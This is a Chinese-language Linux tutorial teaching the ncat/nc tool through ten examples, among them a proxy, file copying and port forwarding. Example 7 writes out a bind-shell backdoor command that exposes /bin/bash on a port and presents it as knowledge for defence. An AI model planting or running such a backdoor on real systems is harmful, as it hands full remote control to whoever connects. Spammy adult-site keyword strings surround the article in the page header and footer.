成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

10個例子教你學會ncat (nc)命令

系統 Linux
ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用于網絡的。它是一款擁有多種功能的 CLI 工具,可以用來在網絡上讀、寫以及重定向數據。 它被設計成可以被腳本或其他程序調用的可靠的后端工具。同時由于它能創建任意所需的連接,因此也是一個很好的網絡調試工具。

10個例子教你學會ncat (nc)命令

ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用于網絡的。它是一款擁有多種功能的 CLI 工具,可以用來在網絡上讀、寫以及重定向數據。 它被設計成可以被腳本或其他程序調用的可靠的后端工具。同時由于它能創建任意所需的連接,因此也是一個很好的網絡調試工具。

ncat/nc 既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。 由于有這么多的功能,它被譽為是網絡界的瑞士軍刀。 這是每個系統管理員都應該知道并且掌握它。

在大多數 Debian 發行版中,nc 是默認可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 并不會默認被安裝。 你需要用下列命令手工安裝。

  1. [root@linuxtechi ~]# yum install nmap-ncat -y

系統管理員可以用它來審計系統安全,用它來找出開放的端口然后保護這些端口。 管理員還能用它作為客戶端來審計 Web 服務器、telnet 服務器、郵件服務器等, 通過 nc 我們可以控制發送的每個字符,也可以查看對方的回應。

我們還可以用它捕獲客戶端發送的數據以此來了解這些客戶端是做什么的。

在本文中,我們會通過 10 個例子來學習如何使用 nc 命令。

 

例子: 1) 監聽入站連接

通過 -l 選項,ncat 可以進入監聽模式,使我們可以在指定端口監聽入站連接。 完整的命令是這樣的:

  1. $ ncat -l port_number

比如,

  1. $ ncat -l 8080

服務器就會開始在 8080 端口監聽入站連接。

 

例子: 2) 連接遠程系統

使用下面命令可以用 nc 來連接遠程系統,

  1. $ ncat IP_address port_number

讓我們來看個例子,

  1. $ ncat 192.168.1.100 80

這會創建一個連接,連接到 IP 為 192.168.1.100 的服務器上的 80 端口,然后我們就可以向服務器發送指令了。 比如我們可以輸入下面內容來獲取完整的網頁內容

  1. GET / HTTP/1.1

或者獲取頁面名稱,

  1. GET / HTTP/1.1

或者我們可以通過以下方式獲得操作系統指紋標識,

  1. HEAD / HTTP/1.1

這會告訴我們使用的是什么軟件來運行這個 web 服務器的。

 

例子: 3) 連接 UDP 端口

默認情況下,nc 創建連接時只會連接 TCP 端口。 不過我們可以使用 -u 選項來連接到 UDP 端口,

  1. $ ncat -l -u 1234

現在我們的系統會開始監聽 UDP 的 1234 端口,我們可以使用下面的 netstat 命令來驗證這一點,

  1. $ netstat -tunlp | grep 1234
  2. udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc
  3. udp6 0 0 :::1234 :::* 17341/nc

假設我們想發送或者說測試某個遠程主機 UDP 端口的連通性,我們可以使用下面命令,

  1. $ ncat -v -u {host-ip} {udp-port}

比如:

  1. [root@localhost ~]# ncat -v -u 192.168.105.150 53
  2. Ncat: Version 6.40 ( http://nmap.org/ncat )
  3. Ncat: Connected to 192.168.105.150:53

 

例子: 4) 將 nc 作為聊天工具

nc 也可以作為聊天工具來用,我們可以配置服務器監聽某個端口,然后從遠程主機上連接到服務器的這個端口,就可以開始發送消息了。 在服務器這端運行:

  1. $ ncat -l 8080

在遠程客戶端主機上運行:

  1. $ ncat 192.168.1.100 8080

之后開始發送消息,這些消息會在服務器終端上顯示出來。

 

例子: 5) 將 nc 作為代理

nc 也可以用來做代理。比如下面這個例子,

  1. $ ncat -l 8080 | ncat 192.168.1.200 80

所有發往我們服務器 8080 端口的連接都會自動轉發到 192.168.1.200 上的 80 端口。 不過由于我們使用了管道,數據只能被單向傳輸。 要同時能夠接受返回的數據,我們需要創建一個雙向管道。 使用下面命令可以做到這點:

  1. $ mkfifo 2way
  2. $ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

現在你可以通過 nc 代理來收發數據了。

 

例子: 6) 使用 nc 拷貝文件

nc 還能用來在系統間拷貝文件,雖然這么做并不推薦,因為絕大多數系統默認都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統的話, 你可以用 nc 來作最后的努力。

在要接受數據的機器上啟動 nc 并讓它進入監聽模式:

  1. $ ncat -l 8080 > file.txt

現在去要被拷貝數據的機器上運行下面命令:

  1. $ ncat 192.168.1.100 8080 --send-only < data.txt

這里,data.txt 是要發送的文件。 -–send-only 選項會在文件拷貝完后立即關閉連接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關閉連接。

我們也可以用這種方法拷貝整個磁盤分區,不過請一定要小心。

 

例子: 7) 通過 nc 創建后門

nc 命令還可以用來在系統中創建后門,并且這種技術也確實被黑客大量使用。 為了保護我們的系統,我們需要知道它是怎么做的。 創建后門的命令為:

  1. $ ncat -l 10000 -e /bin/bash

-e 標志將一個 bash 與端口 10000 相連。現在客戶端只要連接到服務器上的 10000 端口就能通過 bash 獲取我們系統的完整訪問權限:

  1. $ ncat 192.168.1.100 10000

 

例子: 8) 通過 nc 進行端口轉發

我們通過選項 -c 來用 nc 進行端口轉發,實現端口轉發的語法為:

  1. $ ncat -u -l 80 -c 'ncat -u -l 8080'

這樣,所有連接到 80 端口的連接都會轉發到 8080 端口。

 

例子: 9) 設置連接超時

nc 的監聽模式會一直運行,直到手工終止。 不過我們可以通過選項 -w 設置超時時間:

  1. $ ncat -w 10 192.168.1.100 8080

這回導致連接 10 秒后終止,不過這個選項只能用于客戶端而不是服務端。

 

例子: 10) 使用 -k 選項強制 nc 待命

當客戶端從服務端斷開連接后,過一段時間服務端也會停止監聽。 但通過選項 -k 我們可以強制服務器保持連接并繼續監聽端口。 命令如下:

  1. $ ncat -l -k 8080

現在即使來自客戶端的連接斷了也依然會處于待命狀態。 

責任編輯:龐桂玉 來源: Linux中國
相關推薦

2022-10-08 13:29:19

Pandasgroupby

2018-04-02 10:37:10

Linux命令size

2022-08-14 14:54:10

Pandas字符串數字類型

2018-02-25 10:45:08

Linux命令uptime

2018-01-15 14:07:16

Linux命令free

2009-12-01 15:02:24

SuSE 10安裝VM

2018-05-05 07:18:52

機器學習線性代數深度學習

2014-03-17 17:27:51

Linux mvLinux 命令

2018-03-12 15:26:00

Linux命令tee

2021-04-20 11:40:47

指針類型CPU

2013-12-06 17:39:49

Linuxps命令

2019-12-27 16:21:54

Python 開發編程語言

2020-07-07 08:01:37

nc命令Linux網絡命令行工具

2022-08-01 10:44:37

人工智能AI

2023-03-14 08:02:14

靜態路由動態路由設備

2009-10-13 14:33:00

2021-04-21 11:08:00

數據分析數據集Python

2024-01-25 11:41:00

Python開發前端

2009-06-18 15:53:37

Hibernate B

2022-02-25 17:02:38

自動化工作轉型
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 天天拍天天射 | 四虎最新地址 | 成人精品一区二区三区中文字幕 | 国产精品久久久久国产a级 欧美日本韩国一区二区 | 国产欧美视频一区二区 | 亚洲一在线 | www免费视频 | 亚洲成人一区 | 亚洲毛片在线 | 日韩免费在线视频 | 久久日韩粉嫩一区二区三区 | 日韩免费电影 | 亚洲综合色视频在线观看 | 伊人伊人| 久久久精品一区二区 | 日本久久一区二区三区 | 在线日韩| 精品国产一区二区三区久久久蜜月 | 91亚洲国产 | 国产成人精品a视频 | 国产视频亚洲视频 | 久久精品亚洲 | 国产精品一区二区免费 | 欧美a在线 | 自拍偷拍亚洲欧美 | 国产91在线观看 | 国产免费av在线 | 欧美视频一区二区三区 | 蜜桃视频在线观看免费视频网站www | www.狠狠干 | 亚洲国产成人精品久久久国产成人一区 | 99精品国产一区二区三区 | 亚洲精品久久久久久久久久久久久 | 欧美一区二区三区日韩 | 亚洲国产中文在线 | 国产精品99久久久久久www | 在线区| 国产精品日产欧美久久久久 | 青青草一区 | 久久三级av | 一级毛片免费完整视频 |